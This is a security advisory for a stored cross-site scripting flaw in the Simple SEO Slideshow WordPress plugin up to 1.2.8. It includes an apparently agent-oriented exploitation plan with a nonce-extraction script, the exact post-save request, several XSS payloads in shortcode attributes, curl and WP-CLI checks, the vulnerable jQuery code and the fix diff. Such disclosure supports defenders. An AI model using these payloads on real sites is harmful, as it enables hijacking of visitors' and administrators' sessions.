Simple SEO Slideshow <= 1.2.8 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode Attributes
Description
The Simple SEO Slideshow plugin for WordPress is vulnerable to Stored Cross-Site Scripting via Shortcode Attributes in all versions up to, and including, 1.2.8 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. WordPress KSES does not strip malicious shortcode attribute values on post save, allowing contributor-level users to persist payloads that execute for any visitor, including administrators reviewing the post.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:NTechnical Details
<=1.2.8What Changed in the Fix
Changes introduced in v1.2.9
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-8900 (Simple SEO Slideshow Stored XSS) ## 1. Vulnerability Summary The **Simple SEO Slideshow** plugin (versions <= 1.2.8) is vulnerable to **Authenticated Stored Cross-Site Scripting (XSS)**. The vulnerability exists because the shortcode handler for `[simple…
Show full research plan
Exploitation Research Plan: CVE-2026-8900 (Simple SEO Slideshow Stored XSS)
1. Vulnerability Summary
The Simple SEO Slideshow plugin (versions <= 1.2.8) is vulnerable to Authenticated Stored Cross-Site Scripting (XSS). The vulnerability exists because the shortcode handler for [simpleslideshow] fails to properly sanitize or escape user-supplied attributes (such as sctitle, scexclude, etc.) before rendering them into the page HTML. A user with Contributor level permissions can embed malicious JavaScript within these attributes. When the post is saved, WordPress KSES does not filter attributes within shortcodes, and the plugin later echoes these values directly into the DOM.
2. Attack Vector Analysis
- Endpoint: WordPress Post Editor (
/wp-admin/post.phpor/wp-admin/post-new.php). - Vulnerable Component: The
[simpleslideshow]shortcode handler insimpleslideshow.php. - Payload Carrier: Shortcode attributes, specifically
sctitle. - Authentication: Authenticated (Contributor+).
- Preconditions: The plugin must be active, and the attacker must have permission to create or edit posts (Contributor role is sufficient).
3. Code Flow
- Entry Point: An attacker creates a post containing a shortcode:
[simpleslideshow sctitle='"><script>alert(1)</script>']. - Persistence: Upon saving, WordPress core stores the raw shortcode string in the
post_contentcolumn of thewp_poststable. - Processing: When a user (including an Admin) views the post, WordPress invokes the shortcode callback function registered via
add_shortcode( 'simpleslideshow', ... )insimpleslideshow.php. - The Sink: The handler extracts the attributes and generates HTML. Based on
js/simpleslideshow.js, the plugin likely renders hidden elements or attributes to pass settings to the frontend script:imgtitle[index][0] = jQuery('img',this).eq(0).attr('title');imgsubtitle[index][0] = jQuery('.slidedescr',this).html();
- Execution: If the PHP handler outputs
$atts['sctitle']into atitleattribute or inside adivwith classslidedescrwithout usingesc_attr()oresc_html(), the browser interprets the payload. The JS then further propagates the XSS by reading this content and re-inserting it via.html().
4. Nonce Acquisition Strategy
This exploit involves saving a standard WordPress post. It does not rely on a plugin-specific AJAX nonce, but rather the core WordPress post-editor nonces.
- Logic: To save a post as a Contributor, the agent must obtain the
_wpnonceused by the editor. - Procedure:
- Login to the WordPress dashboard as a Contributor.
- Use
browser_navigateto go tohttp://[target]/wp-admin/post-new.php. - Use
browser_evalto extract the nonce required for thepost.phpsubmission:// Common location for the post nonce in the Gutenberg or Classic editor document.querySelector('#_wpnonce')?.value || document.querySelector('[name="_wpnonce"]')?.value; - The agent will use this nonce in the subsequent
POSTrequest to save the post content.
5. Exploitation Strategy
- Preparation: Identify the Contributor credentials and the target WordPress instance.
- Authentication: Authenticate the session using the
http_requesttool. - Nonce Extraction: Navigate to the "New Post" page and extract the
_wpnonceand theuser_id. - Payload Injection: Submit a request to save a new post containing the malicious shortcode.
- URL:
http://[target]/wp-admin/post.php - Method:
POST - Content-Type:
application/x-www-form-urlencoded - Parameters:
action:editpostpost_ID:[NEW_POST_ID]_wpnonce:[EXTRACTED_NONCE]post_title:Security Research Slideshowcontent:[simpleslideshow sctitle='"><script>alert(document.domain)</script>']post_status:publish(orpendingif Contributor cannot publish)
- URL:
- Trigger: Use
browser_navigateto visit the permalink of the newly created post.
6. Test Data Setup
- User: A user with the
contributorrole (e.g., username:researcher, pass:password123). - Environment: WordPress instance with
simple-seo-slideshowversion 1.2.8 installed and activated. - Shortcode: The exploit utilizes the default shortcode
[simpleslideshow].
7. Expected Results
- The
POSTrequest topost.phpshould return a302 Foundredirecting to the post editor with a success message. - The
post_contentin the database should contain the unescaped payload. - Upon visiting the post frontend, an alert box displaying the
document.domainshould appear, confirming the execution of the injected script.
8. Verification Steps
- Database Check: Verify the payload is stored correctly using WP-CLI:
wp post list --post_type=post --format=ids | xargs -I % wp post get % --field=post_content - Frontend Inspection: Check the rendered HTML source for the presence of the unescaped script:
# Look for the sctitle value in the div or image tags curl -s http://[target]/path-to-post | grep "alert(document.domain)" - Execution Check: Confirm that the script executes in the browser context using the
browser_evaltool to check for a global side effect (e.g.,window.xss_executed = true).
9. Alternative Approaches
- Attribute Breakout: If
sctitleis correctly escaped within HTML tags but used inside an attribute (e.g.,value='...'), try breaking out with' onmouseover='alert(1). - Other Attributes: If
sctitleis sanitized, testscexclude,scdelay, orscheight. Althoughjs/mce_dialog.jsusesparseIntonscdelayandscheight, the PHP side might still echo them raw before the JS loads. - JS-based Trigger: Since
simpleslideshow.jsusesjQuery(...).html(), test if the payload can be stored in a way that bypasses initial PHP rendering but is executed when the JS processes the slideshow captions:- Payload:
[simpleslideshow sctitle='<img src=x onerror=alert(1)>']
- Payload:
Summary
The Simple SEO Slideshow plugin for WordPress (versions up to 1.2.8) is vulnerable to Stored Cross-Site Scripting via shortcode attributes such as 'sctitle'. Authenticated attackers with Contributor-level permissions can inject malicious scripts into these attributes, which are then rendered on the page without proper sanitization and subsequently executed by the plugin's JavaScript logic.
Vulnerable Code
/* js/simpleslideshow.js lines 35-36 (v1.2.6) */ imgtitle[index][0] = jQuery('img',this).eq(0).attr('title'); imgsubtitle[index][0] = jQuery('.slidedescr',this).html(); --- /* js/simpleslideshow.js line 83 (v1.2.6) */ // The plugin extracts content from the DOM and re-inserts it using .html(), triggering execution jQuery('.slidedescr',newthis).html(imgsubtitle[index][newci]);
Security Fix
@@ -1,18 +1,18 @@ -=== Plugin Name === +=== Plugin Name === Contributors: spyrosvl Donate link: https://www.paypal.com/cgi-bin/webscr?cmd=_s-xclick&hosted_button_id=9QBE26DTURXJQ Tags: slideshow widget, page slideshow widget, post slideshow widget -Requires at least: 3.2 -Tested up to: 3.5.2 -Stable tag: 1.2.6 +Requires at least: 5.4 +Tested up to: 7.0 +Stable tag: 1.2.9 License: GPLv2 or later License URI: http://www.gnu.org/licenses/gpl-2.0.html == Upgrade Notice == += 1.2.9 = + +* Resolved security issue (CVE-2026-8900) +* Added auto calculation of slider height + = 1.2.6 = * New navigation buttons
Exploit Outline
1. Log in to the WordPress dashboard as an authenticated user with at least Contributor-level permissions. 2. Create a new post or edit an existing one using the Post Editor. 3. Insert the [simpleslideshow] shortcode with a malicious payload inside one of its attributes, for example: [simpleslideshow sctitle='<script>alert(document.domain)</script>']. 4. Save the post. Since WordPress does not filter attributes inside shortcode strings on post save, the payload is persisted in the database. 5. View the post on the frontend. The plugin's PHP handler renders the shortcode attribute directly into the HTML source. 6. The plugin's JavaScript (js/simpleslideshow.js) reads the content of the affected element and re-injects it into the DOM using the jQuery .html() method, which triggers the execution of the stored script.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.